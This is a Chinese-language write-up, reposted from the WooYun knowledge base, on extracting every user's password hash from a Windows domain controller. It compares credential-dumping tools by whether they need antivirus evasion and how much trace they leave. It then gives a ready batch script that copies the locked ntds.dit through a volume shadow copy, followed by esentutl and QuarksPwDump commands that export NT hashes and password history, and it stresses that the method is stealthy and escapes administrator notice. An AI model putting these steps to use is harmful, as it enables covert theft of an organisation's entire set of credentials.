匯出當前域內所有使用者hash的技術整理

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/07/03 15:06

0x00目標:


匯出當前域內所有使用者的hash

0x01測試環境:


域控:server2008 r2
防毒軟體:已安裝*
域控許可權:可使用net use遠端登陸,不使用3389

0x02測試方法:


(1)mimikatz:

hash數量:只能抓取登陸過的使用者hash,無法抓取所有使用者
免殺:需要免殺

(2)pwdump:

hash數量:無法抓取所有使用者
免殺:需要免殺

(3)vssown.vbs + libesedb + NtdsXtract

hash數量:所有使用者
免殺:不需要
優點:
    獲得資訊很全面,可獲得以下資訊:
    Record ID
    User name
    User principal name
    SAM Account name
    SAM Account type
    GUID
    SID
    When created
    When changed
    Account expires
    Password last set
    Last logon
    Last logon timestamp
    Bad password time
    Logon count
    Bad password count
    User Account Control
    Ancestors
    Password hashes
    Password history
    Supplemental credentials
    Member of

缺點:
    vssown.vbs使用後需要刪除快照清理痕跡
    vssown.vbs偶爾會報錯
    資料庫巨大,下載回本地很麻煩
    libesedb + NtdsXtract環境搭建麻煩,目前網上中文的教程存在一些錯誤,下載連結也已失效,需要自行摸索
    用vssown.vbs複製出來的ntds.dit資料庫無法使用QuarksPwDump.exe讀取       

Tips:
libesedb + NtdsXtract環境搭建的一點提示:

(download libesedb)
https://github.com/libyal/libesedb/releases/download/20150409/libesedb-experimental-20150409.tar.gz
tar zxvf libesedb-experimental-20150409.tar.gz
cd libesedb-20150409
./configure
make
cd esedbtools/
./esedbexport
(copy ntds.dit to ~/libesedb-20150409/esedbtools)
./esedbexport ./ntds.dit
(wait...)
mv ntds.dit.export/ ../../
(download ntdsxtract)
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
unzip ntdsxtract_v1_0.zip
cd NTDSXtract 1.0/
(move SYSTEM to '/root/SYSTEM')
(get passwordhashes )
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'

(4)ntdsutil.exe + QuarksPwDump.exe

hash數量:所有使用者 
免殺:QuarksPwDump.exe需要免殺 
優點: 
    獲得資訊很全面 QuarksPwDump.exe可在windows下使用,讀取hash值的操作簡便快捷
缺點: 
    ntdsutil.exe使用後需要刪除快照清理痕跡 ntdsutil.exe偶爾會報錯 巨大的資料庫,QuarksPwDump.exe讀取偶爾會報錯 server2003的shell下無法使用

0x03實際測試:


  • gethashes.exe:沒有原始碼,忽略
  • mimikatz:無法抓出所有使用者hash,本機管理員口令也無法匯出
  • pwdump:抓取數量不足
  • vssown.vbs + libesedb + NtdsXtract:成功,耗時3天+
  • ntdsutil.exe + QuarksPwDump.exe:ntdsutil.exe報錯,失敗

0x04分析:


5種方法唯一成功的是vssown.vbs + libesedb + NtdsXtract,但是耗時太久,操作麻煩,下載資料庫容易暴露,vssown.vbs備份的資訊容易被管理員發現

其他方法中可取的地方:vssown.vbs複製資料庫的方法很是巧妙,但存在一些不足,配合域控的at命令執行較為麻煩;QuarksPwDump.exe可在windows下直接使用,免去讀取資料庫的等待,並且QuarksPwDump可獲得原始碼,能夠配合實際使用做修改。

那麼大膽設想一下:如果使用QuarksPwDump.exe在域控上直接讀取ntds.dit豈不是最好

0x05改進:


(1)分析vssown.vbs的複製辦法,找到一種更好的解決辦法,改用ShadowCopy實現ntds.dit的複製 (2)對QuarksPwDump的改造,實現命令列下的自動讀取及匯出資訊


Tips:

ShadowCopy 是一款增強型的免費檔案複製工具,由於使用了微軟卷影副本(`Volume Shadow Copy`)技術,它能夠複製被鎖定的檔案或者被其他程式開啟的檔案,

因此只要是硬碟的上的檔案,即使正被程式佔用,`ShadowCopy` 都可以複製出來。

0x06最終方案:


(1)使用ShadowCopy的命令列版,編寫bat實現複製ntds.dit至當前目錄

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vsshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

參考連結: http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

(2)使用QuarksPwDump直接讀取資訊並將結果匯出至檔案,先執行

esentutl /p /o ntds.dit

修復複製出來的資料庫

QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt

讀取並匯出。

注:實際使用時ntds.dit和log.txt需要加絕對路徑


Tips:

QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process.
原始碼下載連結,vs2010直接編譯即可
https://github.com/quarkslab/quarkspwdump

0x07小結:


ShadowCopy+QuarksPwDump:

hash數量:所有使用者
免殺:不需要
優點:
    獲得資訊全面
    bat一鍵搞定,簡單高效
    無需下載ntds.dit,隱蔽性高
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章